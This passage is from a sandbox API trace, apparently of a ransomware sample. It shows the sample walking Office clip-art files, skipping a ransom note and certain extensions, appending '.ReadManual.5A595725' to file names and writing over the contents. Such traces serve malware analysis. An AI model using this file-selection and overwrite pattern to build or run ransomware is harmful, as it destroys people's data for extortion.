dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.255] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=39111) returned 1 [0270.255] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x98c7, lpName=0x0) returned 0x184 [0270.255] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.255] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.255] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.257] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.257] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x98c7) returned 0x2f0000 [0270.258] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.259] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39092737234) returned 1 [0270.259] CloseHandle (hObject=0x184) returned 1 [0270.259] SetSecurityInfo () returned 0x57 [0270.259] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.259] CloseHandle (hObject=0x194) returned 1 [0270.259] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb9bf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0387604.JPG", cAlternateFileName="")) returned 1 [0270.259] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0387604.JPG" | out: lpString1="J0387604.JPG") returned="J0387604.JPG" [0270.259] lstrcmpiW (lpString1="J0387604.JPG", lpString2="RecoveryManual.html") returned -1 [0270.259] StrStrIW (lpFirst="J0387604.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.259] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.259] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.259] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.259] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.259] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.259] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.259] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.259] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.259] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.259] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.259] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.259] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.259] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.259] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.259] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" [0270.259] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.ReadManual.5A595725" [0270.260] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.ReadManual.5A595725") returned 87 [0270.260] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39092834056) returned 1 [0270.260] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg")) returned 0x20 [0270.260] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.260] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=47551) returned 1 [0270.260] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb9bf, lpName=0x0) returned 0x184 [0270.260] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.261] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.261] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.263] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.263] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb9bf) returned 0x2f0000 [0270.264] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.264] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39093307469) returned 1 [0270.264] CloseHandle (hObject=0x184) returned 1 [0270.264] SetSecurityInfo () returned 0x57 [0270.265] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.265] CloseHandle (hObject=0x194) returned 1 [0270.265] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x98ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0387882.JPG", cAlternateFileName="")) returned 1 [0270.265] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0387882.JPG" | out: lpString1="J0387882.JPG") returned="J0387882.JPG" [0270.265] lstrcmpiW (lpString1="J0387882.JPG", lpString2="RecoveryManual.html") returned -1 [0270.265] StrStrIW (lpFirst="J0387882.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.265] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.265] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.265] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.265] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.265] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.265] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.265] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.265] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.265] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.265] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.265] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.265] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.265] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.265] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.265] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" [0270.265] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.ReadManual.5A595725" [0270.265] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.ReadManual.5A595725") returned 87 [0270.265] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39093409596) returned 1 [0270.265] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg")) returned 0x20 [0270.266] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.266] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=39148) returned 1 [0270.266] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x98ec, lpName=0x0) returned 0x184 [0270.266] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.267] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.267] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.271] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.271] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x98ec) returned 0x2f0000 [0270.272] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.273] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39094149077) returned 1 [0270.273] CloseHandle (hObject=0x184) returned 1 [0270.273] SetSecurityInfo () returned 0x57 [0270.273] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.273] CloseHandle (hObject=0x194) returned 1 [0270.273] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7df3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0387895.JPG", cAlternateFileName="")) returned 1 [0270.273] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0387895.JPG" | out: lpString1="J0387895.JPG") returned="J0387895.JPG" [0270.273] lstrcmpiW (lpString1="J0387895.JPG", lpString2="RecoveryManual.html") returned -1 [0270.273] StrStrIW (lpFirst="J0387895.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.273] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.273] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.273] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.273] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.273] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.273] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.273] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.273] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.273] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.273] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.273] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.274] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.274] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.274] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.274] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" [0270.274] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.ReadManual.5A595725" [0270.274] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.ReadManual.5A595725") returned 87 [0270.274] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39094248264) returned 1 [0270.274] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg")) returned 0x20 [0270.275] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.275] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32243) returned 1 [0270.275] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7df3, lpName=0x0) returned 0x184 [0270.275] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.276] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.276] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.278] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.278] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7df3) returned 0x2f0000 [0270.278] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.278] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39094720884) returned 1 [0270.278] CloseHandle (hObject=0x184) returned 1 [0270.279] SetSecurityInfo () returned 0x57 [0270.279] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.279] CloseHandle (hObject=0x194) returned 1 [0270.279] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59a43300, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59a43300, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x351c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0390072.JPG", cAlternateFileName="")) returned 1 [0270.279] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0390072.JPG" | out: lpString1="J0390072.JPG") returned="J0390072.JPG" [0270.279] lstrcmpiW (lpString1="J0390072.JPG", lpString2="RecoveryManual.html") returned -1 [0270.279] StrStrIW (lpFirst="J0390072.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.279] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0270.279] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0270.279] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0270.279] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0270.279] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0270.279] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0270.279] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0270.279] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0270.279] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0270.279] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0270.279] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0270.279] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0270.279] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0270.279] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0270.279] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" [0270.279] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.ReadManual.5A595725" [0270.279] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.ReadManual.5A595725") returned 87 [0270.279] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39094817902) returned 1 [0270.279] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg")) returned 0x20 [0270.280] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.280] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13596) returned 1 [0270.280] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x351c, lpName=0x0) returned 0x184 [0270.280] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.281] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.281] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.282] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.283] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x351c) returned 0x2f0000 [0270.283] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.283] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39095172581) returned 1 [0270.283] CloseHandle (hObject=0x184) returned 1 [0270.283] SetSecurityInfo () returned 0x57 [0270.283] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.283] CloseHandle (hObject=0x194) returned 1 [0270.283] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55f55f00, ftCreationTime.dwHighDateTime=0x1c98cd0, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55f55f00, ftLastWriteTime.dwHighDateTime=0x1c98cd0, nFileSizeHigh=0x0, nFileSizeLow=0x31883, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0400001.PNG", cAlternateFileName="")) returned 1 [0270.283] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0400001.PNG" | out: lpString1="J0400001.PNG") returned="J0400001.PNG" [0270.283] lstrcmpiW (lpString1="J0400001.PNG", lpString2="RecoveryManual.html") returned -1 [0270.283] StrStrIW (lpFirst="J0400001.PNG", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.283] StrCmpIW (psz1="PNG", psz2="exe") returned 1 [0270.283] StrCmpIW (psz1="PNG", psz2="dll") returned 1 [0270.283] StrCmpIW (psz1="PNG", psz2="sys") returned -1 [0270.283] StrCmpIW (psz1="PNG", psz2="msi") returned 1 [0270.284] StrCmpIW (psz1="PNG", psz2="mui") returned 1 [0270.284] StrCmpIW (psz1="PNG", psz2="inf") returned 1 [0270.284] StrCmpIW (psz1="PNG", psz2="cat") returned 1 [0270.284] StrCmpIW (psz1="PNG", psz2="bat") returned 1 [0270.284] StrCmpIW (psz1="PNG", psz2="cmd") returned 1 [0270.284] StrCmpIW (psz1="PNG", psz2="ps1") returned -1 [0270.284] StrCmpIW (psz1="PNG", psz2="vbs") returned -1 [0270.284] StrCmpIW (psz1="PNG", psz2="ttf") returned -1 [0270.284] StrCmpIW (psz1="PNG", psz2="fon") returned 1 [0270.284] StrCmpIW (psz1="PNG", psz2="lnk") returned 1 [0270.284] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" [0270.284] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.ReadManual.5A595725" [0270.284] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG.ReadManual.5A595725") returned 87 [0270.284] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39095268416) returned 1 [0270.284] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png")) returned 0x20 [0270.284] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400001.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.284] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=202883) returned 1 [0270.285] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31883, lpName=0x0) returned 0x184 [0270.285] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.285] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.285] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.287] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.287] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x31883) returned 0x2690000 [0270.294] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0270.295] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39096381193) returned 1 [0270.295] CloseHandle (hObject=0x184) returned 1 [0270.295] SetSecurityInfo () returned 0x57 [0270.295] LocalFree (hMem=0x76c1a55b) returned 